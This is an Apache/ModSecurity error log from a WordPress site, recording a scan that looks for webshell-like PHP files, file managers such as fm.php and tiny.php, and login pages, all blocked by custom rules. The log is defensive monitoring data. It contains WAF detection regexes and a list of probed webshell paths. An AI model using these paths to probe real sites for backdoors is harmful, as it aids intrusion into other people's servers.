[Wed Apr 15 04:40:29.099182 2026] [:error] [pid 4065:tid 4094] [client 45.131.195.160:34667] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "ad6mPQWArgJTHu2_6Oy2DwAAABI"]
[Wed Apr 15 04:40:30.089718 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.145:38971] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "ad6mPh15U5D-N99n_jJbBAAAANg"]
[Wed Apr 15 04:40:32.006882 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.197:24001] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "ad6mQB15U5D-N99n_jJbFwAAAMA"]
[Wed Apr 15 04:40:32.463097 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.175:35939] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "ad6mQB15U5D-N99n_jJbGwAAAM4"]
[Wed Apr 15 04:40:34.017134 2026] [:error] [pid 4067:tid 4138] [client 45.131.195.174:63291] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ad6mQu5XHBJU8ZrRxZ0dmgAAAIc"]
[Wed Apr 15 04:40:35.798110 2026] [:error] [pid 4169:tid 4192] [client 45.131.195.130:35391] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/index.php"] [unique_id "ad6mQx15U5D-N99n_jJbMwAAANI"]
[Wed Apr 15 04:40:36.705401 2026] [:error] [pid 4067:tid 4131] [client 45.131.195.144:51687] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "ad6mRO5XHBJU8ZrRxZ0dnQAAAIA"]
[Wed Apr 15 04:40:37.667067 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.145:50491] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ad6mRe5XHBJU8ZrRxZ0doAAAAIs"]
[Wed Apr 15 04:40:39.912722 2026] [:error] [pid 4067:tid 4131] [client 45.131.195.150:40823] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ad6mR-5XHBJU8ZrRxZ0dqQAAAIA"]
[Wed Apr 15 04:40:44.667791 2026] [:error] [pid 4066:tid 4114] [client 45.131.195.140:31013] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/themes.php"] [unique_id "ad6mTIC2YXfSPsC9O_BTzAAAAEo"]
[Wed Apr 15 04:40:47.341390 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.140:30781] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/index.php"] [unique_id "ad6mT4C2YXfSPsC9O_BT1wAAAFU"]
[Wed Apr 15 04:40:52.612016 2026] [:error] [pid 4066:tid 4122] [client 45.131.195.165:46915] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "ad6mVIC2YXfSPsC9O_BT3QAAAFI"]
[Wed Apr 15 04:40:57.549503 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.140:57375] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "ad6mWYC2YXfSPsC9O_BT5gAAAEI"]
[Wed Apr 15 04:41:04.467891 2026] [:error] [pid 4065:tid 4079] [client 45.131.195.139:60655] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "ad6mYAWArgJTHu2_6Oy2KAAAAAM"]
[Wed Apr 15 04:41:13.033316 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.161:33887] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/about.php"] [unique_id "ad6maR15U5D-N99n_jJb-AAAAMo"]
[Wed Apr 15 04:41:15.968773 2026] [:error] [pid 4067:tid 4153] [client 45.131.195.155:63661] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "ad6ma-5XHBJU8ZrRxZ0d3QAAAJY"]
[Wed Apr 15 04:41:41.650910 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.171:32327] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "ad6mhe5XHBJU8ZrRxZ0eCQAAAJA"]
[Wed Apr 15 04:41:42.497481 2026] [:error] [pid 4066:tid 4119] [client 45.131.195.141:54169] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ad6mhoC2YXfSPsC9O_BUFAAAAE8"]
[Wed Apr 15 04:41:45.216597 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.169:25431] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "ad6miR15U5D-N99n_jJcjwAAAME"]
[Wed Apr 15 04:41:49.931566 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.165:27691] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "ad6mje5XHBJU8ZrRxZ0eFAAAAJQ"]
[Wed Apr 15 04:41:50.618688 2026] [:error] [pid 4067:tid 4135] [client 45.131.195.136:21603] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ad6mju5XHBJU8ZrRxZ0eFwAAAIQ"]
[Wed Apr 15 04:41:57.623278 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.179:39119] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ad6mlR15U5D-N99n_jJc5AAAANE"]
[Wed Apr 15 04:41:58.502423 2026] [:error] [pid 4067:tid 4152] [client 45.131.195.159:50621] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "ad6mlu5XHBJU8ZrRxZ0eOwAAAJU"]
[Wed Apr 15 04:42:08.045083 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.156:33065] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "ad6moAWArgJTHu2_6Oy2xgAAAAU"]
[Wed Apr 15 04:42:10.809298 2026] [proxy_fcgi:error] [pid 4169:tid 4195] [client 45.131.195.155:60361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:42:12.466442 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.155:60361] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/function.php"] [unique_id "ad6mpB15U5D-N99n_jJdAQAAAMo"]
[Wed Apr 15 04:42:13.498863 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.166:25981] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugins.php"] [unique_id "ad6mpR15U5D-N99n_jJdBAAAAMM"]
[Wed Apr 15 04:42:18.059377 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.116:60417] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/chosen.php"] [unique_id "ad6mqu5XHBJU8ZrRxZ0epgAAAIs"]
[Wed Apr 15 04:42:19.056249 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.115:52299] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "ad6mq-5XHBJU8ZrRxZ0eqwAAAJM"]
[Wed Apr 15 04:42:30.764081 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.186:27173] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/atomlib.php"] [unique_id "ad6mtoC2YXfSPsC9O_BUTQAAAEI"]
[Wed Apr 15 04:42:31.276806 2026] [:error] [pid 4065:tid 4088] [client 45.131.195.171:37895] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ad6mtwWArgJTHu2_6Oy21wAAAAw"]
[Wed Apr 15 04:42:43.177659 2026] [:error] [pid 4065:tid 4082] [client 45.131.195.154:41391] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "ad6mwwWArgJTHu2_6Oy29gAAAAY"]
[Wed Apr 15 04:42:44.220829 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.161:28573] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "ad6mxB15U5D-N99n_jJdOAAAANM"]
[Wed Apr 15 04:42:45.411470 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.191:31433] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "ad6mxe5XHBJU8ZrRxZ0e9gAAAI4"]
[Wed Apr 15 04:42:54.311506 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.190:64547] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "ad6mzoC2YXfSPsC9O_BUfAAAAEc"]
[Wed Apr 15 04:42:56.969823 2026] [:error] [pid 4169:tid 4178] [client 45.131.195.116:53293] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "ad6m0B15U5D-N99n_jJdTgAAAMY"]
[Wed Apr 15 04:43:07.777321 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.175:58437] [client 45.131.195.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/js/wp-login.php"] [unique_id "ad6m24C2YXfSPsC9O_BUkQAAAEA"]
[Wed Apr 15 04:43:17.145317 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.175:58437] [client 45.131.195.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "ad6m5YC2YXfSPsC9O_BUnAAAAFU"]
[Wed Apr 15 04:43:34.082248 2026] [proxy_fcgi:error] [pid 4066:tid 4120] [client 45.131.195.175:58437] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:43:56.420468 2026] [:error] [pid 4066:tid 4127] [client 45.131.195.175:58437] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "ad6nDIC2YXfSPsC9O_BU7AAAAFc"]
[Wed Apr 15 04:44:02.544370 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.154:59241] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "ad6nEu5XHBJU8ZrRxZ0fiAAAAI8"]
[Wed Apr 15 04:44:07.307438 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.125:34743] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/atomlib.php"] [unique_id "ad6nF4C2YXfSPsC9O_BU-QAAAEU"]
[Wed Apr 15 04:44:22.285831 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.154:20049] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "ad6nJh15U5D-N99n_jJd6gAAAMw"]
[Wed Apr 15 04:44:26.657863 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.191:50141] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ad6nKh15U5D-N99n_jJd_AAAAMc"]
[Wed Apr 15 04:44:29.397345 2026] [:error] [pid 4067:tid 4142] [client 45.131.195.171:62907] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ad6nLe5XHBJU8ZrRxZ0fugAAAIs"]
[Wed Apr 15 04:44:36.732853 2026] [proxy_fcgi:error] [pid 4169:tid 4187] [client 45.131.195.160:22311] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:44:37.118616 2026] [proxy_fcgi:error] [pid 4169:tid 4179] [client 45.131.195.160:22311] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:44:37.341228 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.160:22311] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "ad6nNR15U5D-N99n_jJeGwAAAMI"]
[Wed Apr 15 04:44:37.801525 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.145:62375] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "ad6nNYC2YXfSPsC9O_BVIQAAAEU"]
[Wed Apr 15 04:44:48.759683 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.190:23673] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/default.php"] [unique_id "ad6nQK3iO9_fE_IQEMkF-QAAAQY"]
[Wed Apr 15 04:44:51.498291 2026] [:error] [pid 4066:tid 4128] [client 45.131.195.145:56421] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ad6nQ4C2YXfSPsC9O_BVMQAAAFg"]
[Wed Apr 15 04:44:57.255897 2026] [:error] [pid 4067:tid 4138] [client 45.131.195.156:60871] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "ad6nSe5XHBJU8ZrRxZ0gCwAAAIc"]
[Wed Apr 15 04:45:08.822493 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.251:36081] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "ad6nVK3iO9_fE_IQEMkGKgAAAQE"]
[Wed Apr 15 04:45:10.739820 2026] [proxy_fcgi:error] [pid 4169:tid 4196] [client 45.131.195.181:50569] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:45:14.367652 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.181:50569] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "ad6nWh15U5D-N99n_jJeVAAAANE"]
